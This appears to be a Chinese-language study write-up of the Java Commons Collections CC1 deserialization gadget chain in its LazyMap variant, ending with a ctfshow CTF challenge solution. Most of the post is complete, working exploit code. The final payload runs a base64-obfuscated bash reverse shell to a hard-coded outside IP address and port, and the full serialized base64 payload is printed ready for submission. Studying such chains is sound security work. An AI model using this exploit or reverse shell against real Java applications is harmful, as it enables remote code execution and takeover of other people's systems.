cc1-2


CC1链-利用LazyMap.get方法:

之前的CC1链是利用TransformedMap的checkSetValue方法来调用ChainedTransformer.transform

而另一种写法是利用LazyMap.get方法走动态代理来调用ChainedTransformer.transform

调用链:

image-20250724211227078

1
2
3
4
5
6
7
8
public Object get(Object key) {
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);      //这里调了factory的transform
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

也就是我们如果能控制factory的值为ChainedTransformer,就可以实现命令执行。factory的赋值语句在LazpMap的构造函数内部。

image-20250724212802046

那又是谁调用了LazyMap的get()方法呢?

AnnotationInvocationHandler类的invoke()方法中有调用:

image-20250724213755999

而这个AnnotationInvocationHandler类是一个动态代理类,特点之一就是调用该类的任意方法,都会调用器invoke()方法。

所以如果调用AnnotationInvocationHandler类的readObject()方法,该类的invoke()方法也会触发。

因此,整个的调用链也就出来了:

1
2
3
4
5
sun.reflect.annotation.AnnotationInvocationHandler#readObject
sun.reflect.annotation.AnnotationInvocationHandler#invoke
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transfor

构造poc

1.将ChainedTransformer传入并通过decorate()方法获取到LazyMap对象

从LazyMap的get()方法中可以看到,通过factory.transform(key)方式调用了transform(),所以根据CC1链的第一条,只需要控制factorychainedTransformer即可。

image-20250724215809661

factory是在LazyMap的构造函数中赋值

image-20250724215857462

而此构造函数不能直接调用,但是可以通过decorate()方法获取到:

image-20250724220115278

得到如下不完整的payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
 
// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
 

现在调用get函数试试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.util.HashMap;

public class test3 {
    public static void main(String[] args) {
        Transformer[] TransformerArray = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
        lazyMap.get("key");
    }
}

image-20250729202723567

2.通过动态代理lazymap调用任意方法(entrySet())从而调用InvocationHandler对象的invoke()

前面说到**这个AnnotationInvocationHandlerinvoke()方法。**调用了get函数。

而这里的调用,是通过memberValues来进行调用,我们需要保证memberValueslazyMap,这样的话,执行该invoke()方法时才会调用到lazyMapget()方法。

image-20250729203035523

跟踪一下发现memberValues是通过AnnotationInvocationHandler的构造函数传入

image-20250729203129074

但是由于AnnotationInvocationHandler 是 Java 内部的非公有类(位于 sun.reflect.annotation 包),无法直接通过 new 实例化。所以我们借助反射

1
2
3
4
5
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
// AnnotationInvocationHandler类实现自InvocationHandler接口
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);  // 注意这里传入lazpMap,给memberValues赋值

如何调用InvocationHandler ih对象的invoke()方法呢?

这里可以看到AnnotationInvocationHandler类实现自InvocationHandler接口,也就是说AnnotationInvocationHandler类是一个动态代理的处理器类。

那么,想调用InvocationHandler ih对象的invoke()方法,只需要调用被代理对象的任意方法,则可以调用ih对象的invoke()。这里需要注意:直接调用被代理对象的任意方法不行,需要借助动态代理才可以调用到invoke(),也就是说需要创建动态代理

下面是动态代理对象,用来代理LazyMap实现的接口,处理器对象为ih

1
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);  // 将InvocationHandler ih传入

这样只需要调用LazyMap对象的任意方法,就会调用ih对象的invoke()

注意这里虽然调用任意方法,可以调用ih对象的invoke(),但是还得保证,调用invoke()方法之后,能执行到Object result = memberValues.get(member);,这样才能执行我们想要的lazyMapget()方法。

所以有一些条件需要绕过一下,否则就直接返回了,无法执行到memberValues.get(member)

image-20250729210013860

动态代理的执行方法(即被代理对象lazyMap的任意方法)不能是equals,toString,hashCode,annotationType方法,且必须是无参的。

那就看符合条件的代理对象lazyMap可执行的方法(看代理的接口Map的方法,在Map.java里面),发现有

image-20250729212909921 image-20250729212922880 image-20250729212945900

测试一下是否可以执行代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class test3 {
    public static void main(String[] args) throws Exception {

        Transformer[] TransformerArray = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
// AnnotationInvocationHandler类实现自InvocationHandler接口
        InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Override.class, lazyMap);  // 注意这里传入lazpMap,给memberValues赋值
        Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);  // 将InvocationHandler ih传入
        mapProxy.clear();
    }


}

image-20250729221526011

寻找谁调用了mapProxy(被代理对象)的size()/isEmpty()/clear()/keySet()/values()/entrySet()方法。

其实这里(在CC1链的第一条中也用过)刚好AnnotationInvocationHandlerreadObject方法中存在 map对象的entrySet()无参方法调用:

image-20250729221855419

这里我们需要保证memberValues变量为mapProxy(被代理对象)即可,而且这里是在readObject方法中,直接一步到位。

同样的,通过反射创建AnnotationInvocationHandler对象,并将mapProxy(被代理对象)传入,给memberValues变量赋值即可:

1
2
3
4
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);

而这里的前面三行已经有了,所以此时的payload可以合并为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
 
// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
 
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);  // 注意这里传入lazpMap,给memberValues赋值
 
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);  // 将InvocationHandler ih传入
 
InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);
 

得到了一个对象obj,对其序列化,反序列时会自动调用器readObject()方法,执行恶意代码。

所以最终exp是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class test3 {
    public static void main(String[] args) throws Exception {

        Transformer[] TransformerArray = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
// AnnotationInvocationHandler类实现自InvocationHandler接口
        InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Override.class, lazyMap);  // 注意这里传入lazpMap,给memberValues赋值
        Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);  // 将InvocationHandler ih传入
        InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Override.class, mapProxy);

        serialize(obj);
        unserialize("serialize");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

Java反序列化利用链篇 | CC1链的第二种方式-LazyMap版调用链【本系列文章的分析重点】 - leyilea - 博客园

image-20250810201210169

现在可以来解决ctfshow-847–打cc1第一条链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Base64;

public class cc1_2 {
    public static void main(String[] args) throws Exception {

        Class rc=Class.forName("java.lang.Runtime");
        Transformer[] Transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class), //添加此行代码,这里解决问题三
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAwLjM5LjE5My81MDAwIDA+JjE=}|{base64,-d}|{bash,-i}"})
        };
        ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
        //上述利用反射获取类原型+transformer数组+chainedtransformer遍历实现transform方法,来解决问题一中的无法序列化问题。

        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","gxngxngxn"); //这里是问题二中改键值对的值为注解中成员变量的名称,通过if判断
        Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o=constructor.newInstance(Target.class,transformedmap); //这里是问题二中第一个参数改注解为Target
        serialize(o);
    }
    public static void serialize(Object obj) throws IOException{
        // 创建字节输出流,用于存储序列化后的数据
        ByteArrayOutputStream data =new ByteArrayOutputStream();
        // 创建对象输出流,负责把对象写入字节流
        ObjectOutput oos =new ObjectOutputStream(data);
        oos.writeObject(obj); // 序列化对象
        oos.flush();
        oos.close();
        // 用Base64编码输出序列化后的字节数据
        System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
    }
}

然后post提交即可

1
ctfshow=rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgAxb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5UcmFuc2Zvcm1lZE1hcGF3P+Bd8VpwAwACTAAOa2V5VHJhbnNmb3JtZXJ0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO0wAEHZhbHVlVHJhbnNmb3JtZXJxAH4ABXhwcHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0ABFnZXREZWNsYXJlZE1ldGhvZHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AGnNxAH4AEXVxAH4AFgAAAAJwcHQABmludm9rZXVxAH4AGgAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ABZzcQB+ABF1cQB+ABYAAAABdABhYmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzh4TURFdU1qQXdMak01TGpFNU15ODFNREF3SURBK0pqRT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfXQABGV4ZWN1cQB+ABoAAAABcQB+AB1zcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXQABXZhbHVldAAJZ3huZ3huZ3hueHh2cgAbamF2YS5sYW5nLmFubm90YXRpb24uVGFyZ2V0AAAAAAAAAAAAAAB4cA==
image-20250810200335689
谢谢观看